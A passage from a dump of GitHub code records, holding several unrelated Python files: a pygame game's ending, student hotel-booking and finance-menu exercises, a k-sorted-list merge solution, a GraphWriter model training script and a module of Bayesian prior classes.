GameState.TRANSITION:\n level += 1\n game_init() \n\n if current_gameState == GameState.GAME_OVER:\n line_0 = \"You're Dead!\"\n line_1 = f\"Your Final Score: {player.score}\"\n line_2 = f\"Victims Saved: {player.victims_saved}\"\n line_3 = f\"Finished at: Level {level}\"\n line_4 = \"Choose an Option\"\n choice = pyautogui.confirm(f\"{line_0}\\n{line_1}\\n{line_2}\\n{line_3}\\n\\n{line_4}\", \"GAME OVER!!\", [\"Register High Score\", \"Start Again\", \"Quit to OS\"])\n if choice == \"Register High Score\":\n scoreboard.register(player.score, level)\n current_gameState = GameState.TITLE\n elif choice == \"Start Again\":\n current_gameState = GameState.TITLE\n else:\n die()\n\n\n pygame.display.update()\n SURFACE.fill(BG)\n\ndef run():\n while True:\n update()\n\nif __name__ == '__main__':\n run()","repo_name":"TokyoGaijin/night_stalker","sub_path":"night-stalker.py","file_name":"night-stalker.py","file_ext":"py","file_size_in_byte":34096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"7174671798","text":"#IMMANUEL JOY PERKASA/71200544\r\n\r\n''' Buatlah program untuk pemesanan/reservasi kamar hotel. Namun program ini berjalan secara terus menerus sebelum user memilih\r\nmenu \"Exit\". Pada program ini terdapat beberapa syarat;\r\n1. Terdapat 4 menu (List kamar kosong, Booking Kamar, Check Out, dan Exit)\r\n2. Terdapat 10 kamar kosong, apabila 10 kamar telah dibooking maka user tidak dapat memesan kamar.\r\n3. Menu Check out berfungsi untuk menandakan bahwa kamar sudah dapat digunakan kembali.\r\n'''\r\n'''\r\nInput\r\nkamar:[1,2,3,4,5,6,7,8,9,10]\r\nmenu pilihan user(plh)\r\nnomor pilihan user(nomor)(check out dan reservasi)\r\n\r\nproses\r\nplh==1:\r\nprint(kamar)\r\nplh==2:\r\nnomor=int(input())\r\nplh==3:\r\nnomor=int(input())\r\nplh==4:\r\nbreak(program berhenti)\r\n\r\noutput\r\nberhasil atau tidaknya program berjalan setelah user menjalankan keempat menu.\r\n'''\r\nkamar=[1,2,3,4,5,6,7,8,9,10]\r\n\r\nwhile True:\r\n print()\r\n print('======= HOTEL SINAR JAYA =======')\r\n print('''1. List Kamar Kosong\r\n2. Booking/Reservasi Kamar\r\n3. Check Out\r\n4. Exit''')\r\n plh=int(input('Masukkan menu pilihan anda: '))\r\n if plh==1:\r\n print('Nomor kamar yang tersedia adalah: ',kamar)\r\n elif plh==2:\r\n nomor=int(input('Nomor kamar yang ingin anda pesan: '))\r\n if nomor in kamar:\r\n kamar.remove(nomor)\r\n print('Kamar',nomor,'telah berhasil dipesan/booking.')\r\n elif len(kamar)==0:\r\n print('Maaf, tidak ada kamar yang tersedia. Datanglah lain kali:)')\r\n break\r\n elif nomor not in kamar:\r\n print('Maaf, nomor kamar anda masukkan sudah dibooking.')\r\n elif plh==3:\r\n nomor=int(input('Masukkan nomor kamar anda: '))\r\n print('Kamar',nomor,'telah Check Out')\r\n if nomor not in kamar:\r\n kamar.append(nomor)\r\n elif nomor in kamar:\r\n print('Nomor kamar yang anda masukkan salah atau belum check in.')\r\n elif plh==4:\r\n print('Terimakasih telah memercayai hotel kami.')\r\n break\r\n else:\r\n print('Invalid, silahkan ulangi lagi')\r\n\r\n\r\n\r\n\r\n","repo_name":"noelperkasaa/Prak-Alpro","sub_path":"Video.py","file_name":"Video.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18100445826","text":"# Good morning! Here's your coding interview problem for today.\n#\n# This problem was asked by Google.\n#\n# Given k sorted singly linked lists, write a function to merge all the lists into one sorted singly linked list.\n\n\n# immediately, when I saw this problem, I knew what I needed to do, and there is a naive brute force solution\n# that most people think of when they first see this problem. Naively people think of just iterating through\n# all off the lists first node, and then picking the min out of those and then point to that node with the\n# the pointer of the list being returned. Although this is easy and simple, the time complexity for this\n# is enormous. This is because each time you pick the next smallest node, you have to go through ALL OF THE LISTS!!\n\n# what if there was a way that we could utilize the fact that all of the lists are sorted, and initially\n# go through each list once, but never have to iterate through all of them again just to find the next smallest\n\n# The idea that I am talking about is building a heap of size k and running through all of the lists initally\n# and adding the first node to the heap with an integer representing which list that this node came from.\n# Once you've added the first node to the array, you will then build the min heap which takes O(k) time because\n# there are k numbers. (If you need a refresher on that time complexity, I recommend you looking into heaps\n# before continuing). Once we have the min heap built, we can then pop off the min value, and add the\n# next node from that list that it came from (which takesn O(logk) time and then continue this process\n# until all of the list pointers are at Null. We now have used a mergesort to merge all of the lists\n# together in O(max(listsize)k) time and O(k) space. Much better than the niave version!!!!\n\n# also note that I ma using heapreplace instead of heap.pop then heap.push. This is because each\n# of those methods will take log(k) time whereas replace will take log(k) time.\n\n# since I am not to sure of the input, I am assuming that the lists are given using an array that points to their\n# head node.\nfrom Node import Node # this will be used to build the LL\nimport heapq\n\ndef merge_k_lists(lists):\n \"\"\"\n Merges k sorted lists into one sorted lists\n :param lists: array of linked lists\n :return: sorted LinkedList\n \"\"\"\n heap = list() # create an array of size k\n for i, n in enumerate(lists):\n heap.append((n.data, n, i))\n\n # build the min heap, and create list to return\n heapq.heapify(heap)\n head = None\n curr = None\n\n # continue removing and adding until correct\n while len(heap) > 0:\n val, minnode, arr_i, = heap[0] # peak the smallest\n lists[arr_i] = lists[arr_i].next # move the current node down\n n = lists[arr_i] # node to be added to the heap\n minnode.next = None # set next to none so it's no longer a part of the prev list\n # add it to the new list\n if head is None:\n head = minnode\n curr = head\n else:\n curr.next = minnode\n curr = minnode\n\n heapq.heapreplace(heap, (n.data, n, arr_i)) if n is not None else heapq.heappop(heap)\n\n return head\n\n\n# lists to test the solution\nlist_a = Node(1, Node(5, Node(7)))\nlist_b = Node(2, Node(3, Node(4)))\nlist_c = Node(6, Node(10, Node(15, Node(20))))\n\nl = [list_a, list_b, list_c]\n\nnew_head = merge_k_lists(l)\nwhile new_head is not None:\n print(new_head.data)\n new_head = new_head.next\n\nprint('\\ntesting on a single list:')\nlist_a = Node(1, Node(5, Node(7)))\nnew_head = merge_k_lists([list_a])\nwhile new_head is not None:\n print(new_head.data)\n new_head = new_head.next\n\n\n","repo_name":"Bradysm/daily_coding_problems","sub_path":"linklistmerge.py","file_name":"linklistmerge.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"41138584899","text":"import os\r\n\r\ncheck_list = [25, 28, 36, 40, 55, 57, 59, 68, 70, 86, 88, 105, 107, 123, 125, 128, 130, 133]\r\n\r\nfor filename in os.listdir('1x8qA'):\r\n\ttxt = open(('1x8qA/' + filename), 'r')\r\n\tline = txt.readline().split('\\t')\r\n\tbase = int(line[3][:-1])\r\n\ttype = line[4]\r\n\tif base in check_list:\r\n\t\tprint(type, base, filename)\r\n\ttxt.close()","repo_name":"kalakuta/protein_surfaces","sub_path":"compare_maps/get_binding_site_maps.py","file_name":"get_binding_site_maps.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"72928148237","text":"import dataloader\nfrom graphwriter.graphwriter import GraphWriter \nfrom config import C\nimport constants as Con\nimport torch as tc\nimport torch.nn as nn\nimport dgl\nimport pdb\nimport time\nimport math\nimport random\nimport numpy as np\nimport os\nimport pickle\nfrom YTools.universe.timer import Timer\nfrom tqdm import tqdm\nfrom transformers.optimization import WarmupLinearSchedule , WarmupCosineSchedule\n\nif C.log_file_name:\n\tif os.path.exists(C.save):\n\t\tos.system(\"rm -rf %s\" % C.save)\n\tos.makedirs(C.save , exist_ok = True)\n\n\tlog_fil = open(C.log_file_name , \"w\")\n\nstart_time = time.time()\ndef gettime():\n\treturn time.time() - start_time\n\ndef lprint(*args,**kwargs):\n\tprint (*args,**kwargs)\n\n\tif C.log_file_name:\n\t\tfor x in args:\n\t\t\tlog_fil.write(str(x) + \"\\n\")\n\n\t\tlog_fil.flush()\n\nlprint (C.info)\n\ndef pad_string(string , pad_idx = 0):\n\t'''\n\t\tstring: (bsz , string_len)\n\t'''\n\tif string is None:\n\t\treturn None\n\n\tlenmax = max([len(x) for x in string])\n\n\tfor i in range(len(string)):\n\t\tstring[i] += [pad_idx] * (lenmax - len(string[i]))\n\n\treturn string\n\ndef get_a_batch(data , batch_n , device = None):\n\tif device is None:\n\t\tdevice = C.gpus[0]\n\n\tdat = data[batch_n * C.batch_size : (batch_n+1) * C.batch_size]\n\n\tg \t\t\t= dgl.batch ([x[\"g\"\t\t\t\t] for x in dat]) \n\ttitle \t\t= pad_string([x[\"title\"\t\t\t] for x in dat])\n\tdecoder_inp = pad_string([x[\"decoder_inp\"\t] for x in dat])\n\tgold \t\t= pad_string([x[\"gold\"\t\t\t] for x in dat])\n\n\tent_names = []\n\tent_lens = []\n\trels \t = []\n\tent_idx = []\n\trel_idx = []\n\tglob_idx = []\n\tent_idx_b = []\n\n\taccumed_num = 0\n\tfor x in dat:\n\t\tent_names \t+= x[\"ent_names\"]\n\t\tent_lens \t+= [len(y) for y in x[\"ent_names\"]]\n\t\trels \t\t+= x[\"rels\"]\n\t\tent_idx_b.append([])\n\t\tfor i in x[\"idx_ent\"]:\n\t\t\tent_idx.append(i + accumed_num)\n\t\t\tent_idx_b[-1].append(i + accumed_num)\n\t\tfor i in x[\"idx_rel\"]:\n\t\t\trel_idx.append(i + accumed_num)\n\t\tglob_idx.append(x[\"idx_glob\"] + accumed_num)\n\t\t\n\t\taccumed_num += len(x[\"idx_ent\"]) + len(x[\"idx_rel\"]) + 1\n\n\tent_names \t= pad_string(ent_names)\n\tent_idx_b\t= pad_string(ent_idx_b , pad_idx = -1)\n\n\treturn (\n\t\t[g , title , ent_names , ent_lens , rels , ent_idx , rel_idx , glob_idx , decoder_inp , ent_idx_b] , \n\t\tgold , \n\t)\n\ndef valid(net):\n\n\t#net = net.eval()\n\n\tloss_func = nn.NLLLoss(ignore_index = 0)\n\n\tvalid_data = data[C.dev_data]\n\tstep = 0\n\ttot_loss = 0\n\tbatch_number = (len(valid_data) // C.batch_size) + int((len(valid_data) % C.batch_size) != 0)\n\tpbar = tqdm(range(batch_number) , ncols = 70)\n\tfor batch_n in pbar:\n\t\tpbar.set_description_str(\"(Test)\")\n\n\t\t#-----------------get data-----------------\n\t\tinputs = []\n\t\tgolds = []\n\t\tfor data_device in C.gpus:\n\t\t\tinp , gold = get_a_batch(valid_data , batch_n , data_device)\n\t\t\tinputs.append(inp)\n\t\t\tgolds.append(gold)\n\t\tassert len(inputs) == len(golds)\n\t\t#------------------repadding-----------------\n\n\t\tmaxlen_gold = max([ max( [len(x) for x in gold] ) for gold in golds])\n\t\tfor _i in range(len(inputs)):\n\t\t\tfor _j in range(len(golds[_i])): \t#batch\n\t\t\t\t\tinputs[_i][-2][_j] \t+= [0] * (maxlen_gold - len(golds[_i][_j]))\n\t\t\t\t\tgolds[_i][_j] \t \t+= [0] * (maxlen_gold - len(golds[_i][_j]))\n\t\t\tgolds[_i] = tc.LongTensor(golds[_i]).cuda(C.gpus[_i])\n\t\t\tfor _j in range(1,len(inputs[_i])): #first one is graph\n\t\t\t\tinputs[_i][_j] = tc.LongTensor(inputs[_i][_j]).cuda(C.gpus[_i])\n\n\t\t#-----------------get output-----------------\n\t\t\n\t\tif len(inputs) == 1:\n\t\t\ty = net(*inputs[0] , attn_method = C.attn_method)\n\t\t\tgold = golds[0]\n\t\telse:\n\t\t\treplicas = net.replicate(net.module, net.device_ids[:len(inputs)])\n\t\t\toutputs = net.parallel_apply(replicas, inputs, [{\"attn_method\" :C.attn_method}] * len(inputs))\n\n\t\t\t#pdb.set_trace()\n\n\t\t\ty = tc.cat([x.to(C.gpus[0]) for x in outputs] , dim = 0)\n\t\t\tgold = tc.cat([x.to(C.gpus[0]) for x in golds] , dim = 0)\n\n\t\t#-----------------get loss-----------------\n\t\ty = tc.log(y).view(-1 , y.size(-1))\n\t\tgold = gold.view(-1)\t\t\t\t\n\t\tloss = loss_func(y , gold.view(-1))\n\n\t\ttot_loss += float(loss)\n\n\t\tstep += 1\n\t\t\n\t\tpbar.set_postfix_str(\"loss: %.4f , avg_loss: %.4f\" % (float(loss) , tot_loss / step))\n\n\tlprint (\"valid end. valid loss = %.6f , ppl = %.6f\" % (tot_loss / step , math.exp(tot_loss / step)))\n\t#net = net.train()\n\ndef train(net):\n \n\ttrain_starttime = gettime()\n\n\ttrain_data = data[C.train_data]\n\tbatch_number = (len(train_data) // C.batch_size) + int((len(train_data) % C.batch_size) != 0)\n\n\n\toptim = tc.optim.Adam(params = net.parameters() , lr = C.lr)\n\tsched = WarmupLinearSchedule(optim , warmup_steps = 400 , t_total = batch_number * C.epoch_number)\n\n\tloss_func = nn.NLLLoss(ignore_index = 0)\n\n\tstep = 0\n\ttot_loss = 0\n\tfor epoch_n in range(C.epoch_number):\n\n\t\tlprint (\"epoch %d started.\" % (epoch_n))\n\n\t\tpbar = tqdm(range(batch_number) , ncols = 70)\n\t\tfor batch_n in pbar:\n\t\t\tpbar.set_description_str(\"(Train)Epoch %d\" % (epoch_n+1))\n\n\t\t\t#-----------------get data-----------------\n\t\t\tinputs = []\n\t\t\tgolds = []\n\t\t\tfor data_device in C.gpus:\n\t\t\t\tinp , gold = get_a_batch(train_data , batch_n , data_device)\n\t\t\t\tinputs.append(inp)\n\t\t\t\tgolds.append(gold)\n\n\t\t\t#------------------repadding-----------------\n\n\t\t\tmaxlen_gold = max([ max( [len(x) for x in gold] ) for gold in golds])\n\t\t\tfor _i in range(len(inputs)):\n\t\t\t\tfor _j in range(len(golds[_i])): \t#batch\n\t\t\t\t\t\tinputs[_i][-2][_j] \t+= [0] * (maxlen_gold - len(golds[_i][_j]))\n\t\t\t\t\t\tgolds[_i][_j] \t \t+= [0] * (maxlen_gold - len(golds[_i][_j]))\n\t\t\t\tgolds[_i] = tc.LongTensor(golds[_i]).cuda(C.gpus[_i])\n\t\t\t\tfor _j in range(1,len(inputs[_i])): #first one is graph\n\t\t\t\t\tinputs[_i][_j] = tc.LongTensor(inputs[_i][_j]).cuda(C.gpus[_i])\n\n\t\t\t#-----------------get output-----------------\n\t\t\tif len(inputs) == 1:\n\t\t\t\ty = net(*inputs[0] , attn_method = C.attn_method)\n\t\t\t\tgold = golds[0]\n\t\t\telse:\n\t\t\t\treplicas = net.replicate(net.module, net.device_ids[:len(inputs)])\n\t\t\t\toutputs = net.parallel_apply(replicas, inputs, [{\"attn_method\" :C.attn_method}] * len(inputs))\n\n\t\t\t\ty = tc.cat([x.to(C.gpus[0]) for x in outputs] , dim = 0)\n\t\t\t\tgold = tc.cat([x.to(C.gpus[0]) for x in golds] , dim = 0)\n\n\t\t\t#-----------------get loss-----------------\n\t\t\ty = tc.log(y).view(-1 , y.size(-1))\n\t\t\tgold = gold.view(-1)\n\t\t\tloss = loss_func(y , gold.view(-1))\n\n\t\t\ttot_loss += float(loss)\n\n\t\t\tstep += 1\n\t\t\t\n\t\t\t#-----------------back prop-----------------\n\t\t\t#if step % C.update_freq == 0:\n\t\t\tif True:\n\t\t\t\toptim.zero_grad()\n\t\t\t\tloss.backward()\n\t\t\t\tnn.utils.clip_grad_norm_(net.parameters(),C.clip)\n\t\t\t\toptim.step()\n\t\t\t\tsched.step()\n\n\t\t\tpbar.set_postfix_str(\"loss: %.4f , avg_loss: %.4f\" % (float(loss) , tot_loss / step))\n\n\t\t\t\n\t\tlprint (\"epoch %d ended.\" % (epoch_n))\n\t\tvalid(net)\n\n\t\tsave_path = os.path.join(C.save , \"epoch_%d.pkl\" % epoch_n)\n\t\tif C.save:\n\t\t\t\n\t\t\tif len(C.gpus) > 1:\n\t\t\t\t_net = net.module\n\t\t\telse:\n\t\t\t\tnet = net.cpu()\n\t\t\t\t_net = net\n\n\t\t\twith open(save_path , \"wb\") as fil:\n\t\t\t\tpickle.dump( [_net , epoch_n+1 , optim] , fil )\n\n\t\t\tif len(C.gpus) == 1:\n\t\t\t\tnet = net.cuda(C.gpus[0])\n\n\t\t\tos.system(\"cp %s %s/last.pkl\" % (save_path , C.save))\n\t\t\tlprint (\"saved...\")\n\n\tlprint (\"tot train time = %.2fs\" % (gettime() - train_starttime))\n\nif __name__ == \"__main__\":\n\n\tlprint (\"--------------------args------------------\")\n\tfor x in C.__dict__:\n\t\tlprint (\"%s : %s\" % (x , repr(C.__dict__[x])))\n\tlprint (\"------------------------------------------\\n\")\n\n\tif C.seed > 0:\n\t\trandom.seed(C.seed)\n\t\tnp.random.seed(C.seed)\n\t\ttc.manual_seed(C.seed)\n\n\ttc.cuda.set_device(C.gpus[0])\n\n\tdata = dataloader.run(name = C.name , force_reprocess = C.force_reprocess)\n\tlprint (\"got data.\")\n\tlprint (\"size of train/valid/test = %d / %d / %d\" % (len(data[\"train\"]) , len(data[\"valid\"]) , len(data[\"test\"])))\n\n\tsort_idx = data[\"sort_idx\"].cuda(C.gpus[0])\n\tnet = GraphWriter(\n\t\tvocab \t\t\t= data[\"vocab\"] \t\t\t, \n\t\tentity_number \t= Con.max_entity_per_string , \n\t\tdropout \t\t= C.dropout \t\t\t\t, \n\t\tsort_idx \t\t= sort_idx \t\t\t\t\t, \n\t)\n\n\tnet = net.cuda(C.gpus[0])\n\tif len(C.gpus) > 1:\n\t\tnet = nn.DataParallel(net , C.gpus)\n\n\tlprint (\"start Training\")\n\n\ttrain(net)\n\n\tif C.log_file_name:\n\t\tlog_fil.close()","repo_name":"FFTYYY/GraphWriter","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7922,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"17167169152","text":"import math\n\nlistaTransacciones = []\nclass Finanzas:\n def __init__(self, balance):\n self.balance = balance\n\n def ingreso(self, monto):\n self.balance += monto\n\n def egreso(self, monto):\n self.balance -= monto\n\n def get_balance(self):\n return self.balance \ncuenta = 0\nopcion = 0\n\nwhile opcion <=6:\n print(\"\\t.:MENU:.\")\n print(\"1. Ingresar dinero a la cuenta\")\n print(\"2. Egresar dinero de la cuenta\")\n print(\"3. Verificar ingresos\")\n print(\"4. verificar egresos\")\n print(\"5. Mostrar dinero disponible\")\n print(\"6. Salir\")\n opcion = int(input(\"Digite una opcion del menu: \"))\n if opcion==1:\n ingreso = float(input(\"Cuanto dinero desea ingresar?-\"))\n cuenta += ingreso\n print(f\"Dinero en la cuenta: {cuenta}\")\n elif opcion==2:\n egreso = float(input(\"Cuanto dinero desea egresar?-\"))\n cuenta -= egreso\n print(f\"Dinero en la cuenta: {cuenta}\")\n elif opcion==3:\n conteo = {\"Su lista de ingresos es\":ingreso}\n listaTransacciones.append(conteo)\n for egreso in listaTransacciones:\n print(conteo)\n elif opcion==4:\n conteo2 = {\"Su lista de egresos es\":egreso} \n listaTransacciones.append(conteo2) \n for conteo2 in listaTransacciones:\n print(conteo2) \n elif opcion==5:\n print(f\"Dinero en la cuenta: {cuenta}\")\n elif opcion==6:\n print(\"Gracias por utilizar nuestra red de finanzas! tenga un feliz dia\")\n if opcion == 6:\n break \n\n\n\n\n\n","repo_name":"MMena88/Excercise-02","sub_path":"Excercise-02/Finanzas.py","file_name":"Finanzas.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41683361095","text":"\"\"\"\n.. moduleauthor:: Chris Bowman <chris.bowman.physics@gmail.com>\n\"\"\"\nfrom typing import Union, Iterable\n\nfrom numpy import array, log, pi, zeros, concatenate, float64, where\nfrom numpy.random import normal, exponential, uniform\nfrom itertools import chain\n\n\nclass JointPrior:\n \"\"\"\n A class which combines multiple prior distribution objects into a single\n joint-prior distribution object.\n\n :param components: \\\n A list of prior distribution objects (e.g. GaussianPrior, ExponentialPrior)\n which will be combined into a single joint-prior object.\n\n :param int n_variables: \\\n The total number of model variables.\n \"\"\"\n\n def __init__(self, components, n_variables):\n if not all(isinstance(c, BasePrior) for c in components):\n raise TypeError(\n \"\"\"\n All objects contained in the 'components' argument must be instances\n of a subclass of BasePrior (e.g. GaussianPrior, UniformPrior)\n \"\"\"\n )\n\n # Combine any prior components which are of the same type\n self.components = []\n for cls in [GaussianPrior, ExponentialPrior, UniformPrior]:\n L = [c for c in components if isinstance(c, cls)]\n if len(L) == 1:\n self.components.extend(L)\n elif len(L) > 1:\n self.components.append(cls.combine(L))\n\n # check that no variable appears more than once across all prior components\n self.prior_variables = []\n for var in chain(*[c.variables for c in self.components]):\n if var in self.prior_variables:\n raise ValueError(\n f\"Variable index '{var}' appears more than once in prior components\"\n )\n self.prior_variables.append(var)\n\n if len(self.prior_variables) != n_variables:\n raise ValueError(\n f\"\"\"\n The total number of variables specified across the various prior\n components ({len(self.prior_variables)}) does not match the number specified in\n the 'n_variables' argument ({n_variables}).\n \"\"\"\n )\n\n if not all(0 <= i < n_variables for i in self.prior_variables):\n raise ValueError(\n \"\"\"\n All variable indices given to the prior components must have values\n in the range [0, n_variables-1].\n \"\"\"\n )\n\n self.n_variables = n_variables\n\n all_bounds = chain(*[c.bounds for c in self.components])\n all_inds = chain(*[c.variables for c in self.components])\n both = sorted(\n [(b, i) for b, i in zip(all_bounds, all_inds)], key=lambda x: x[1]\n )\n self.bounds = [v[0] for v in both]\n\n def __call__(self, theta):\n \"\"\"\n Returns the joint-prior log-probability value, calculated as the sum\n of the log-probabilities from each prior component for the provided\n set of model parameters.\n\n :param theta: \\\n The model parameters as a 1D ``numpy.ndarray``.\n\n :returns: \\\n The prior log-probability value.\n \"\"\"\n return sum(c(theta) for c in self.components)\n\n def gradient(self, theta):\n \"\"\"\n Returns the gradient of the prior log-probability with respect to the model\n parameters.\n\n :param theta: \\\n The model parameters as a 1D ``numpy.ndarray``.\n\n :returns: \\\n The gradient of the prior log-probability with respect to the model parameters.\n \"\"\"\n grad = zeros(self.n_variables)\n for c in self.components:\n grad[c.variables] = c.gradient(theta)\n return grad\n\n def sample(self):\n \"\"\"\n Draws a sample from the prior.\n\n :returns: \\\n A single sample from the prior distribution as a 1D ``numpy.ndarray``.\n \"\"\"\n sample = zeros(self.n_variables)\n for c in self.components:\n sample[c.variables] = c.sample()\n return sample\n\n\nclass BasePrior:\n @staticmethod\n def check_variables(variable_inds: Union[int, Iterable[int]], n_vars: int):\n if not isinstance(variable_inds, (int, Iterable)):\n raise TypeError(\"'variable_inds' must be an integer or list of integers\")\n\n if isinstance(variable_inds, int):\n variable_inds = [variable_inds]\n\n if not all(isinstance(p, int) for p in variable_inds):\n raise TypeError(\"'variable_inds' must be an integer or list of integers\")\n\n if n_vars != len(variable_inds):\n raise ValueError(\n \"\"\"\n The total number of variables specified via the 'variable_indices' argument is\n inconsistent with the number specified by the other arguments.\n \"\"\"\n )\n\n if len(variable_inds) != len(set(variable_inds)):\n raise ValueError(\n \"\"\"\n All integers given via the 'variable_indices' must be unique.\n Two or more of the given integers are duplicates.\n \"\"\"\n )\n\n return variable_inds\n\n\nclass GaussianPrior(BasePrior):\n \"\"\"\n A class for generating a Gaussian prior for one or more of the model variables.\n\n :param mean: \\\n A list specifying the means of the Gaussian priors on each of the variables specified\n in the ``variable_indices`` argument.\n\n :param sigma: \\\n A list specifying the standard deviations of the Gaussian priors on each of the\n variables specified in the ``variable_indices`` argument.\n\n :param variable_indices: \\\n A list of integers specifying the indices of the variables to which the prior will apply.\n \"\"\"\n\n def __init__(self, mean, sigma, variable_indices):\n self.mean = array(mean, dtype=float64).squeeze()\n self.sigma = array(sigma, dtype=float64).squeeze()\n\n # if parameters were passed as floats, convert from 0D to 1D arrays\n if self.mean.ndim == 0:\n self.mean = self.mean.reshape([1])\n if self.sigma.ndim == 0:\n self.sigma = self.sigma.reshape([1])\n\n self.n_params = self.mean.size\n\n if self.mean.size != self.sigma.size:\n raise ValueError(\n \"mean and sigma arguments must have the same number of elements\"\n )\n\n if self.mean.ndim > 1 or self.sigma.ndim > 1:\n raise ValueError(\"mean and sigma arguments must be 1D arrays\")\n\n if not (self.sigma > 0.0).all():\n raise ValueError('All values of \"sigma\" must be greater than zero')\n\n self.variables = self.check_variables(variable_indices, self.n_params)\n\n # pre-calculate some quantities as an optimisation\n self.inv_sigma = 1.0 / self.sigma\n self.inv_sigma_sqr = self.inv_sigma**2\n self.normalisation = -log(self.sigma).sum() - 0.5 * log(2 * pi) * self.n_params\n self.bounds = [(None, None)] * self.n_params\n\n def __call__(self, theta):\n \"\"\"\n Returns the prior log-probability value for the provided set of model parameters.\n\n :param theta: \\\n The model parameters as a 1D ``numpy.ndarray``.\n\n :returns: \\\n The prior log-probability value.\n \"\"\"\n z = (self.mean - theta[self.variables]) * self.inv_sigma\n return -0.5 * (z**2).sum() + self.normalisation\n\n def gradient(self, theta):\n \"\"\"\n Returns the gradient of the prior log-probability with respect to the model\n parameters.\n\n :param theta: \\\n The model parameters as a 1D ``numpy.ndarray``.\n\n :returns: \\\n The gradient of the prior log-probability with respect to the model parameters.\n \"\"\"\n return (self.mean - theta[self.variables]) * self.inv_sigma_sqr\n\n def sample(self):\n \"\"\"\n Draws a sample from the prior.\n\n :returns: \\\n A single sample from the prior distribution as a 1D ``numpy.ndarray``.\n \"\"\"\n return normal(loc=self.mean, scale=self.sigma)\n\n @classmethod\n def combine(cls, priors):\n if not all(isinstance(p, cls) for p in priors):\n raise ValueError(f\"All prior objects being combined must be of type {cls}\")\n\n variables = []\n for p in priors:\n variables.extend(p.variables)\n\n means = concatenate([p.mean for p in priors])\n sigmas = concatenate([p.sigma for p in priors])\n\n return cls(mean=means, sigma=sigmas, variable_indices=variables)\n\n\nclass ExponentialPrior(BasePrior):\n \"\"\"\n A class for generating an exponential prior for one or more of the model variables.\n\n :param beta: \\\n A list specifying the 'beta' parameter value of the exponential priors on each of the\n variables specified in the ``variable_indices`` argument.\n\n :param variable_indices: \\\n A list of integers specifying the indices of the variables to which the prior will apply.\n \"\"\"\n\n def __init__(self, beta, variable_indices):\n self.beta = array(beta, dtype=float64).squeeze()\n if self.beta.ndim == 0:\n self.beta = self.beta.reshape([1])\n self.n_params = self.beta.size\n\n if self.beta.ndim > 1:\n raise ValueError(\"beta argument must be a 1D array\")\n\n if not (self.beta > 0.0).all():\n raise ValueError('All values of \"beta\" must be greater than zero')\n\n self.variables = self.check_variables(variable_indices, self.n_params)\n\n # pre-calculate some quantities as an optimisation\n self.lam = 1.0 / self.beta\n self.normalisation = log(self.lam).sum()\n self.zeros = zeros(self.n_params)\n self.bounds = [(0.0, None)] * self.n_params\n\n def __call__(self, theta):\n \"\"\"\n Returns the prior log-probability value for the provided set of model parameters.\n\n :param theta: \\\n The model parameters as a 1D ``numpy.ndarray``.\n\n :returns: \\\n The prior log-probability value.\n \"\"\"\n if (theta[self.variables] < 0.0).any():\n return -1e100\n return -(self.lam * theta[self.variables]).sum() + self.normalisation\n\n def gradient(self, theta):\n \"\"\"\n Returns the gradient of the prior log-probability with respect to the model\n parameters.\n\n :param theta: \\\n The model parameters as a 1D ``numpy.ndarray``.\n\n :returns: \\\n The gradient of the prior log-probability with respect to the model parameters.\n \"\"\"\n return where(theta[self.variables] >= 0.0, -self.lam, self.zeros)\n\n def sample(self):\n \"\"\"\n Draws a sample from the prior.\n\n :returns: \\\n A single sample from the prior distribution as a 1D ``numpy.ndarray``.\n \"\"\"\n return exponential(scale=self.beta)\n\n @classmethod\n def combine(cls, priors):\n if not all(isinstance(p, cls) for p in priors):\n raise ValueError(f\"All prior objects being combined must be of type {cls}\")\n\n variables = []\n for p in priors:\n variables.extend(p.variables)\n\n betas = concatenate([p.beta for p in priors])\n return cls(beta=betas, variable_indices=variables)\n\n\nclass UniformPrior(BasePrior):\n \"\"\"\n A class for generating a uniform prior for one or more of the model variables.\n\n :param lower: \\\n A list specifying the lower bound of the uniform priors on each of the variables\n specified in the ``variable_indices`` argument.\n\n :param upper: \\\n A list specifying the upper bound of the uniform priors on each of the variables\n specified in the ``variable_indices`` argument.\n\n :param variable_indices: \\\n A list of integers specifying the indices of the variables to which the prior will apply.\n \"\"\"\n\n def __init__(self, lower, upper, variable_indices):\n self.lower = array(lower).squeeze()\n self.upper = array(upper).squeeze()\n\n # if parameters were passed as floats, convert from 0D to 1D arrays\n self.lower = self.lower.reshape([1]) if self.lower.ndim == 0 else self.lower\n self.upper = self.upper.reshape([1]) if self.upper.ndim == 0 else self.upper\n\n self.n_params = self.lower.size\n self.grad = zeros(self.n_params)\n\n if self.lower.size != self.upper.size:\n raise ValueError(\n \"\"\"'lower' and 'upper' arguments must have the same number of elements\"\"\"\n )\n\n if self.lower.ndim > 1 or self.upper.ndim > 1:\n raise ValueError(\"'lower' and 'upper' arguments must be 1D arrays\")\n\n if (self.upper <= self.lower).any():\n raise ValueError(\n \"All values in 'lower' must be less than the corresponding values in 'upper'\"\n )\n\n self.variables = self.check_variables(variable_indices, self.n_params)\n\n # pre-calculate some quantities as an optimisation\n self.normalisation = -log(self.upper - self.lower).sum()\n self.bounds = [(lo, up) for lo, up in zip(self.lower, self.upper)]\n\n def __call__(self, theta):\n \"\"\"\n Returns the prior log-probability value for the provided set of model parameters.\n\n :param theta: \\\n The model parameters as a 1D ``numpy.ndarray``.\n\n :returns: \\\n The prior log-probability value.\n \"\"\"\n t = theta[self.variables]\n inside = (self.lower <= t) & (t <= self.upper)\n if inside.all():\n return self.normalisation\n return -1e100\n\n def gradient(self, theta):\n \"\"\"\n Returns the gradient of the prior log-probability with respect to the model\n parameters.\n\n :param theta: \\\n The model parameters as a 1D ``numpy.ndarray``.\n\n :returns: \\\n The gradient of the prior log-probability with respect to the model parameters.\n \"\"\"\n return self.grad\n\n def sample(self):\n 